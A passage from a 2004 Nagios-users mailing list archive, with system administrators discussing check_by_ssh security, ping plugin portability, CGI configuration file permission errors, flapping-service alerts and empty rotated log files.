intrusive, since it already shoots packets high and low to every monitored part of the network. Any passwordless key with or without restrictions can be used to obtain shell-access as the remote key-holders user. In an environment where all the local users have access to the root-password, there's no need for setuid/setgid binaries. There's no need for any networking daemon to run as root, since the port it listens to can easily be forwarded to one outside the privileged range with a few simple iptables rules. Coupled with chroot jails where possible, this can turn access granting exploits into mere DoS attacks. Still annoying, but not by a longshot as dangerous to business. -- Mvh / Best Regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Sat Mar 27 13:57:45 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Sat, 27 Mar 2004 07:57:45 -0500 Subject: solved In-Reply-To: <20040326133607.19693.qmail@minnow.softflare.net> References: <200403251433.47330.rmiller@duskglow.com> <20040326025208.6248.qmail@minnow.softflare.net> <200403252114.32046.rmiller@duskglow.com> <20040326133607.19693.qmail@minnow.softflare.net> Message-ID: <20040327075745.79197c82.karl@debisschop.net> On Fri, 26 Mar 2004 13:36:07 +0000 "Paul L. Allen" wrote: > Russell Miller writes: > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > On Thursday 25 March 2004 20:52, Paul L. Allen wrote: > > > I maintain that if ping fails with the nagios default ping options, > > either ping is broken or the default nagios install is broken. > > Ping options and behaviour varies quite a lot from platform to > platform and the ping in RH8 is not broken, just different in > behaviour from what the plugin assumes. The plugin isn't broken > either, as there is a mechanism for configuring it with the syntax > required for whatever flavour of ping you have. The autoconfiguration > could be better though, by building in knowledge of the required ping > syntax for various platforms. That's a moving target. I tend to think that we'd do better in the long run by crafting a check_icmp based on code from a GPL alternative. That is using POSIX networking rather than relying on whatever version of ping might happen to be found be the configure step. POSIX tends to change less than RedHat's ping. -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From quanah at stanford.edu Sat Mar 27 18:58:21 2004 From: quanah at stanford.edu (Quanah Gibson-Mount) Date: Sat, 27 Mar 2004 09:58:21 -0800 Subject: Host check notification problem In-Reply-To: <20040327101223.GC25281@isite.net> References: <4062119C.F153065@lindy.stanford.edu> <20040325182718.GA8738@isite.net> <406368A3.C98DF312@lindy.stanford.edu> <20040327101223.GC25281@isite.net> Message-ID: <1764557970.1080381501@cadabra-dsl.stanford.edu> --On Saturday, March 27, 2004 2:12 AM -0800 Joe Rhett wrote: > Actually, I don't think (memory late at night?) that you should be getting > service notifications at all during the host downtime. This tells me > that your host is going down, then coming back up or going into an unknown > status. > > Use the web interface, bring the host down and then find out what status > it is going into. I suspect that it's going into an unknown status and > that's why service checks are still happening and why you're not getting > host notifications. I modified our script that sends out email recently to report the status of the host state. It reports the host state as DOWN. --Quanah -- Quanah Gibson-Mount Principal Software Developer ITSS/TSS/Computing Systems ITSS/TSS/Infrastructure Operations Stanford University GnuPG Public Key: http://www.stanford.edu/~quanah/pgp.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dadams at aspect1.net Sat Mar 27 20:28:32 2004 From: dadams at aspect1.net (Dan Adams) Date: Sat, 27 Mar 2004 12:28:32 -0700 Subject: Cgi.cfg reading errors Message-ID: <000601c41431$b10dc840$3c00000a@daninfochi> I have Nagios setup and running on a Unix environment computer, I have the cgi.cfg file chmoded to 777, just to make sure it can work, however I am still getting an error message saying that the file cannot be opened for reading on most of the pages in the website. I do have the website working, but I cannot get this file (At least, but the other *.cfg files may have errors also). I was wondering, at first at least, does any one know of any FAQ pages or such that may help with this error? I will gladly read through any suggestions that can come my way to help. Any information will be greatly appreciated. Dan Adams - dadams at aspect1.net http://www.aspect1.net ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Sat Mar 27 20:35:01 2004 From: ae at op5.se (Andreas Ericsson) Date: Sat, 27 Mar 2004 20:35:01 +0100 Subject: check_by_ssh question In-Reply-To: References: Message-ID: <4065D765.5050104@op5.se> Peter Gutmann wrote: > Why no I have not been following the thread from the beginning of time. > Having just started getting Nagios setup here to watch some our trading > applications. I joined the mailing list within the last few days to learn > a bit more about Nagios from other people that are using it. > You can read erlier postings on the thread in the archives. > The security of a network is not obtained by any single action. However, > it is obtained by understanding the needs of the applications and the > environment that the applications live in, and when it is done best it > looks a lot like an onion. The best way to look at it, is to have defense > in depth and not to rely on a single method of protecting yourself. This > is where you have a number of different methods of protecting yourself and > watching what is going on. The goal would be to have all of the pieces to > work together to tell you when something goes wrong. While you are still > in a position to do something about it. > Thank you for reciting the opening paragraph of the latest 'security consciousness' lecture you went to. Seems like something a CEO would like to hear the companys money was spent on, while none but the very freshest administrators would learn anything form it. > While I STILL don't know anything about what you are looking to protect > (other than you are concerned about Nagios being open) or the environment > that it lives in. So, I am, to some extent just guessing about what you > are looking to accomplish and how much you are willing to put into it. If > you are an ISP, that is a wholly different problem than protecting a > trading floor, or protecting the network in the corner grocery. So, there > are a number of layers to this onion called trust. > More smoke from the bag. General security discussions are held on bugtraq, vuln-dev et al. > I am suggesting that you implement a screening routers that LOG unusual > events as an ADDITION to all of the usual things for you environment. > While I KNOW that this is not the whole answer, my reading of your e-mail > was that you were looking for an application (even if you cover it with > SSL) that does no authentication to tell you about problems. Perhaps I was > wrong. > Yes, you were. We're discussing the specific dangers of running check_by_ssh on a large number of hosts from the nagios server. On a side-note; Suggest all you want, but please read the backlogs in the mail-archives first. > Snort or another NDIS tool can watch the number of packets per unit time > between hosts and flag ABOVE and below the threshold. In addition, > trapping and logging ALL connection attempts and failed logins. Network intrusion detection systems have been brought up and quite firmly put down (from this discussion, that is), seeing as all they can really do is let you know what went wrong, and when. We're looking to prevent it from happening in the first place. > BTW: Have > you looked at IP/SEC? that is a way of authenticating (at a hardware > level) a level of trust between machines > IP/SEC faces the same problems as running SSH with public / private keypairs (well, similar anyways). You can't allow one thing and disallow another in a matter which is non-exploitable, seeing as the monitoring process needs access rights enough to run applications on the remote host. All it would really do is to add another layer of encryption, which actually might lessen security rather than tighten it (consider CBC vs CFB). > Peter > ---- > Peter Gutmann > Peter.Gutmann at db.com > > -- Mvh / Best Regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Sat Mar 27 21:10:36 2004 From: ae at op5.se (Andreas Ericsson) Date: Sat, 27 Mar 2004 21:10:36 +0100 Subject: Installation guide In-Reply-To: <20040327100013.GA25281@isite.net> References: <5.2.1.1.2.20040325153530.033a2bc0@195.206.160.253> <406346E2.3070306@op5.se> <20040327100013.GA25281@isite.net> Message-ID: <4065DFBC.2080803@op5.se> Joe Rhett wrote: > That is actually not a true statement. On Solaris, we put everything in > /opt and I configured with > > ./configure --prefix=/opt/imagelib --with-png=/opt/imagelib --with-jpeg=/opt/imagelib --enable-shared=no > > And it all works perfectly fine. You seem to have gone through a lot of > work to manually work around something that wasn't a problem. > > (As you know, Solaris doesn't ship with any of this stuff. I had to > manually compile each piece and then compile gd with it .. and none of it > had exceptions. And my memory is backed up by the internal documentation > to rebuild from scratch which shows only the various configure options.) > Weird. It doesn't work over here (linux-2.4.24, bash 2.05a) no matter how we work on the configure script. Can't really say it was a lot of work though, since I'm pretty much at home with Makefiles and C-code. It just takes some time to explain. > On Thu, Mar 25, 2004 at 09:53:54PM +0100, Andreas Ericsson wrote: > >>This is because of a bug in the GD configure script. If you have libpng >>installed somewhere other than in /usr, it won't work. -- Mvh / Best Regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dadams at aspect1.net Sat Mar 27 21:17:30 2004 From: dadams at aspect1.net (Dan Adams) Date: Sat, 27 Mar 2004 13:17:30 -0700 Subject: Cgi.cfg reading errors Message-ID: <000b01c41438$88905160$3c00000a@daninfochi> Here is some more information relating to the cgi.cfg issues I had mentioned before, incase anyone might have any ideas. The Build Script that was used. I have no idea if this will help, but here it is. I am sort of working on this with some other people also, incase I have to relay the questions to someone else here where I work. ./configure \ --with-nagios-user=netsaint \ --with-nagios-grp=netsaint \ --with-mysql-status \ --with-mysql-comments \ --with-mysql-extinfo \ --with-mysql-retention \ --with-mysql-downtime \ --with-mysql-lib=/usr/local/mysql/lib/mysql \ --with-mysql-inc=/usr/local/mysql/include \ --enable-embedded-perl make install-commandmode Dan Adams - dadams at aspect1.net http://www.aspect1.net ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Sat Mar 27 21:23:05 2004 From: ae at op5.se (Andreas Ericsson) Date: Sat, 27 Mar 2004 21:23:05 +0100 Subject: Cgi.cfg reading errors In-Reply-To: <000601c41431$b10dc840$3c00000a@daninfochi> References: <000601c41431$b10dc840$3c00000a@daninfochi> Message-ID: <4065E2A9.1070305@op5.se> Dan Adams wrote: > I have Nagios setup and running on a Unix environment computer, I have the > cgi.cfg file chmoded to 777, just to make sure it can work, however I am > still getting an error message saying that the file cannot be opened for > reading on most of the pages in the website. I do have the website working, > but I cannot get this file (At least, but the other *.cfg files may have > errors also). I was wondering, at first at least, does any one know of any > FAQ pages or such that may help with this error? I will gladly read through > any suggestions that can come my way to help. Any information will be > greatly appreciated. > Log on to the system as the user nagios and the web-server is running and and try to 'cat' the file. If you can, I'm pretty sure you've made a typo or something in nagios.cfg, or that you have moved your nagios installation to some other directory than you initally had it (--prefix option to ./configure). If you can't (which I think might be the case), the user may not have execute permissions for one or more of the directories above it in the path (execute permissions on unix-systems means 'access to files and directories in it', whereas reading permissions means 'access to directory listing when coupled with execute permissions', basically). -- Mvh Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dadams at aspect1.net Sat Mar 27 21:50:05 2004 From: dadams at aspect1.net (Dan Adams) Date: Sat, 27 Mar 2004 13:50:05 -0700 Subject: Cgi.cfg reading errors In-Reply-To: <4065E2A9.1070305@op5.se> References: <4065E2A9.1070305@op5.se> Message-ID: <000e01c4143d$152c1e70$3c00000a@daninfochi> Andreas, I tried that, su to root first then su to both of the users, what Nagios is and what the web server is. When I did the cat on that filename it listed the file perfectly fine from both of those users. I also tried restarting the web server in the event that chmodding the file to 777 would help. Also, I will ask, in which directory should the nagios.cfg file be in, I did not see it below the /usr/local/nagios directory tree? Dan -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Andreas Ericsson Sent: Saturday, March 27, 2004 1:23 PM To: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Cgi.cfg reading errors Dan Adams wrote: > I have Nagios setup and running on a Unix environment computer, I have > the cgi.cfg file chmoded to 777, just to make sure it can work, > however I am still getting an error message saying that the file > cannot be opened for reading on most of the pages in the website. I do > have the website working, but I cannot get this file (At least, but > the other *.cfg files may have errors also). I was wondering, at first > at least, does any one know of any FAQ pages or such that may help > with this error? I will gladly read through any suggestions that can > come my way to help. Any information will be greatly appreciated. > Log on to the system as the user nagios and the web-server is running and and try to 'cat' the file. If you can, I'm pretty sure you've made a typo or something in nagios.cfg, or that you have moved your nagios installation to some other directory than you initally had it (--prefix option to ./configure). If you can't (which I think might be the case), the user may not have execute permissions for one or more of the directories above it in the path (execute permissions on unix-systems means 'access to files and directories in it', whereas reading permissions means 'access to directory listing when coupled with execute permissions', basically). -- Mvh Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From neil-on-nagios at restricted.dyndns.org Sun Mar 28 09:12:22 2004 From: neil-on-nagios at restricted.dyndns.org (Neil) Date: Sun, 28 Mar 2004 01:12:22 -0600 Subject: service - up and down Message-ID: <20040328071222.44329.qmail@restricted.dyndns.org> Hey guys, Assuming we are monitoring a service. The service fails. We get a notification. The service was able to recover, we get a recovery notification. It fails again, then recovers again. Now we're getting up and down email messages. What is the best way to approach this scenario? Thanks. Neil ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From benny at bennyvision.com Sun Mar 28 09:48:16 2004 From: benny at bennyvision.com (C. Bensend) Date: Sun, 28 Mar 2004 01:48:16 -0600 (CST) Subject: service - up and down In-Reply-To: <20040328071222.44329.qmail@restricted.dyndns.org> References: <20040328071222.44329.qmail@restricted.dyndns.org> Message-ID: <50880.63.227.74.41.1080460118.squirrel@webmail.stinkweasel.net> > Assuming we are monitoring a service. The service fails. We get a > notification. The service was able to recover, we get a recovery > notification. It fails again, then recovers again. Now we're getting up > and > down email messages. What is the best way to approach this scenario? Fix the service? ;) That's the correct answer to your problem. It sounds like Nagios is behaving exactly as it should, or am I missing something? Barring that, you can adjust the number of times the service fails before it alerts. Or, enable flap detection. Benny -- "Ohhh, it's like I'm walking on a pile of baby ducks!" -- Red, "That 70's Show" ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Sun Mar 28 13:22:58 2004 From: ae at op5.se (Andreas Ericsson) Date: Sun, 28 Mar 2004 13:22:58 +0200 Subject: Cgi.cfg reading errors In-Reply-To: <000e01c4143d$152c1e70$3c00000a@daninfochi> References: <000e01c4143d$152c1e70$3c00000a@daninfochi> Message-ID: <4066B592.6020402@op5.se> Dan Adams wrote: > Andreas, > I tried that, su to root first then su to both of the users, what > Nagios is and what the web server is. Only the webserver user needs read-access to the files, and it's path will not be relative to DocumentRoot. You can do the following to see what files it's trying to open and what happens when it does. First su to the webserver pseudo-user, then run this little sequence; export REQUEST_METHOD=GET export QUERY_STRING="host=all" export REMOTE_USER="some-authorized-user" strace 2>&1 | grep open | less You will obviously have to replace some-authorized-user with an authorized user, and the 'host=all' string may not work with all CGI's. If you still can't work it out, post the output of the strace-command here and I'll probably be able to help you. > When I did the cat on that filename it > listed the file perfectly fine from both of those users. I also tried > restarting the web server in the event that chmodding the file to 777 would > help. Restarting it after chmod'ing it can't possibly help, since the files are accessed on run-time by the cgi's. > Also, I will ask, in which directory should the nagios.cfg file be > in, I did not see it below the /usr/local/nagios directory tree? > In /usr/local/nagios/etc by default. > Dan > > -----Original Message----- > From: nagios-users-admin at lists.sourceforge.net > [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Andreas > Ericsson > Sent: Saturday, March 27, 2004 1:23 PM > To: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] Cgi.cfg reading errors > > > > > Dan Adams wrote: > >>I have Nagios setup and running on a Unix environment computer, I have >>the cgi.cfg file chmoded to 777, just to make sure it can work, >>however I am still getting an error message saying that the file >>cannot be opened for reading on most of the pages in the website. I do >>have the website working, but I cannot get this file (At least, but >>the other *.cfg files may have errors also). I was wondering, at first >>at least, does any one know of any FAQ pages or such that may help >>with this error? I will gladly read through any suggestions that can >>come my way to help. Any information will be greatly appreciated. >> > > Log on to the system as the user nagios and the web-server is running > and and try to 'cat' the file. > > If you can, I'm pretty sure you've made a typo or something in > nagios.cfg, or that you have moved your nagios installation to some > other directory than you initally had it (--prefix option to ./configure). > > If you can't (which I think might be the case), the user may not have > execute permissions for one or more of the directories above it in the > path (execute permissions on unix-systems means 'access to files and > directories in it', whereas reading permissions means 'access to > directory listing when coupled with execute permissions', basically). > > -- Mvh Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From stephen.patterson at cjgarland.com Sun Mar 28 21:57:47 2004 From: stephen.patterson at cjgarland.com (Stephen Patterson) Date: Sun, 28 Mar 2004 20:57:47 +0100 Subject: host up as reply to host down? In-Reply-To: <1079987765.2662.16.camel@sabaki.dcs.uci.edu> References: <1079987765.2662.16.camel@sabaki.dcs.uci.edu> Message-ID: <1080503867.31387.17.camel@floyd> On Mon, 2004-03-22 at 20:36, Dan Stromberg wrote: > However, if my mailbox is large enough that day (and my mailbox is > normally full of new messages), there's a non-0 chance I'll forget that > I never saw a host up notice corresponding to some host down warning. Just a suggestion Dan, but its relatively trivial to set up mail filters to separate problem alerts from recovery alerts, and file them both separately from your regular email. CJ Garlands IT Dept. Stephen Patterson ________________________________________________________________________ CJ GARLAND & CO LIMITED DISCLAIMER This e-mail and any files transmitted with it is confidential and intended solely for the use of the individuals or organisations to whom it is addressed. If you are not the intended recipient you must not open any attachment, copy, distribute or disseminate the information nor take any action on the basis of it; please notify the sender and delete the original e-mail from your system(s). Opinions and conclusions expressed in this e-mail are those of the author and are not necessarily those of CJ Garland & Co Limited unless otherwise indicated by an authorised representative independently of this message. Copyright in this e-mail and any attachments remains with CJ Garland & Co Limited. This message has been scanned for known viruses by MessageLabs? E-mail Security System on behalf of CJ Garland & Co Limited. Recipients are strongly advised to conduct their own virus checks on all parts of this communication upon receipt. All liability of the sender for any loss incurred as a result of virus infection or other destructive elements is excluded to the fullest extent permitted by law. -------------- next part -------------- An HTML attachment was scrubbed... URL: From rscibetti at opensight.net Sun Mar 28 23:52:00 2004 From: rscibetti at opensight.net (Russell Scibetti) Date: Sun, 28 Mar 2004 16:52:00 -0500 Subject: Log Rotation Message-ID: <009601c4150e$e61ef350$0500a8c0@KTR> For some reason, starting 10 days ago, the logs that are written to the archives directory are practically empty. The just contain the normal first "LOG ROTATION: DAILY" line, and then nothing else. Some additional information: - For every log this has happened to (the last 10), the file system time stamp and the timestamp in the log are at midnight, 00:00 - For the logs before this problem started, the timestamp in the log is 00:00, but the filesystem timestamps are either 23:49, 23:46, or 23:56-23:58. NTP is running on the machine, but the only problem I know that NTP caused was multiple archive logs. Anyone have any ideas why this is happening? Thanks in advance. Russell ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Mon Mar 29 01:00:35 2004 From: ae at op5.se (Andreas Ericsson) Date: Mon, 29 Mar 2004 01:00:35 +0200 Subject: Log Rotation In-Reply-To: <009601c4150e$e61ef350$0500a8c0@KTR> References: <009601c4150e$e61ef350$0500a8c0@KTR> Message-ID: <40675913.7090902@op5.se> Russell Scibetti wrote: > For some reason, starting 10 days ago, the logs that are written to the > archives directory are practically empty. The just contain the normal first > "LOG ROTATION: DAILY" line, and then nothing else. > Nagios only logs state __changes__, so if the network state has been stable during the day, the log will be empty. > Some additional information: > - For every log this has happened to (the last 10), the file system time > stamp and the timestamp in the log are at midnight, 00:00 > - For the logs before this problem started, the timestamp in the log is > 00:00, but the filesystem timestamps are either 23:49, 23:46, or > 23:56-23:58. > If you have several NTP servers and the nagios server frequently changes server (and updates the time), this sort of thing could theoretically happen. In that case you've got some time sync problem on the network if it differs more than a second or two. > NTP is running on the machine, but the only problem I know that NTP caused > was multiple archive logs. > > Anyone have any ideas why this is happening? Thanks in advance. > > Russell > > -- Mvh Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rscibetti at opensight.net Mon Mar 29 01:54:41 2004 From: rscibetti at opensight.net (Russell Scibetti) Date: Sun, 28 Mar 2004 18:54:41 -0500 Subject: Log Rotation References: <009601c4150e$e61ef350$0500a8c0@KTR> <40675913.7090902@op5.se> Message-ID: <00f101c41520$0979cad0$0500a8c0@KTR> We noticed the problem because there was a really bad day (lots of state changes) that we wanted to review the next day, and the log was empty. So there should definitely be contents in the log. As for NTP, I don't think its the problem because NTP has been running the entire time that Nagios has, and we never had this problem til 10 days ago (Nagios has been running for over a year). Any suggestions on how to tell if NTP is having an effect? Russell ----- Original Message ----- From: "Andreas Ericsson" To: "Nagios Users" Sent: Sunday, March 28, 2004 6:00 PM Subject: Re: [Nagios-users] Log Rotation > Russell Scibetti wrote: > > For some reason, starting 10 days ago, the logs that are written to the > > archives directory are practically empty. The just contain the normal first > > "LOG ROTATION: DAILY" line, and then nothing else. > > > > Nagios only logs state __changes__, so if the network state has been > stable during the day, the log will be empty. > > > Some additional information: > > - For every log this has happened to (the last 10), the file system time > > stamp and the timestamp in the log are at midnight, 00:00 > > - For the logs before this problem started, the timestamp in the log is > > 00:00, but the filesystem timestamps are either 23:49, 23:46, or > > 23:56-23:58. > > > If you have several NTP servers and the nagios server frequently changes > server (and updates the time), this sort of thing could theoretically > happen. In that case you've got some time sync problem on the network if > it differs more than a second or two. > > > NTP is running on the machine, but the only problem I know that NTP caused > > was multiple archive logs. > > > > Anyone have any ideas why this is happening? Thanks in advance. > > > > Russell > > > > > -- > Mvh > Andreas Ericsson > OP5 AB > +46 (0)733 709032 > andreas.ericsson at op5.se > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Mon Mar 29 02:42:52 2004 From: pla at softflare.com (Paul L. Allen) Date: Mon, 29 Mar 2004 01:42:52 +0100 Subject: solved In-Reply-To: <20040327075745.79197c82.karl@debisschop.net> References: <200403251433.47330.rmiller@duskglow.com> <20040326025208.6248.qmail@minnow.softflare.net> <200403252114.32046.rmiller@duskglow.com> <20040326133607.19693.qmail@minnow.softflare.net> <20040327075745.79197c82.karl@debisschop.net> Message-ID: <20040329004252.25883.qmail@minnow.softflare.net> Karl DeBisschop writes: > On Fri, 26 Mar 2004 13:36:07 +0000 > "Paul L. Allen" wrote: [...] >> The autoconfiguration could be better though, by building in knowledge >> of the required ping syntax for various platforms. > > That's a moving target. True. > I tend to think that we'd do better in the long run by crafting a > check_icmp based on code from a GPL alternative. Possibly. > That is using POSIX networking rather than relying on whatever version > of ping might happen to be found be the configure step. Not all flavours of *nix are POSIX compliant. The ones that aren't tend to be obsolete piles of steaming manure, but you have to decide if you really want to exclude them before going down this route. > POSIX tends to change less than RedHat's ping. True. But POSIX tends to drag a kitchen sink along with it. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Mon Mar 29 03:14:21 2004 From: ae at op5.se (Andreas Ericsson) Date: Mon, 29 Mar 2004 03:14:21 +0200 Subject: solved In-Reply-To: <20040329004252.25883.qmail@minnow.softflare.net> References: <200403251433.47330.rmiller@duskglow.com> <20040326025208.6248.qmail@minnow.softflare.net> <200403252114.32046.rmiller@duskglow.com> <20040326133607.19693.qmail@minnow.softflare.net> <20040327075745.79197c82.karl@debisschop.net> <20040329004252.25883.qmail@minnow.softflare.net> Message-ID: <4067786D.6030607@op5.se> Paul L. Allen wrote: > Karl DeBisschop writes: > >> That is using POSIX networking rather than relying on whatever version >> of ping might happen to be found be the configure step. > > Not all flavours of *nix are POSIX 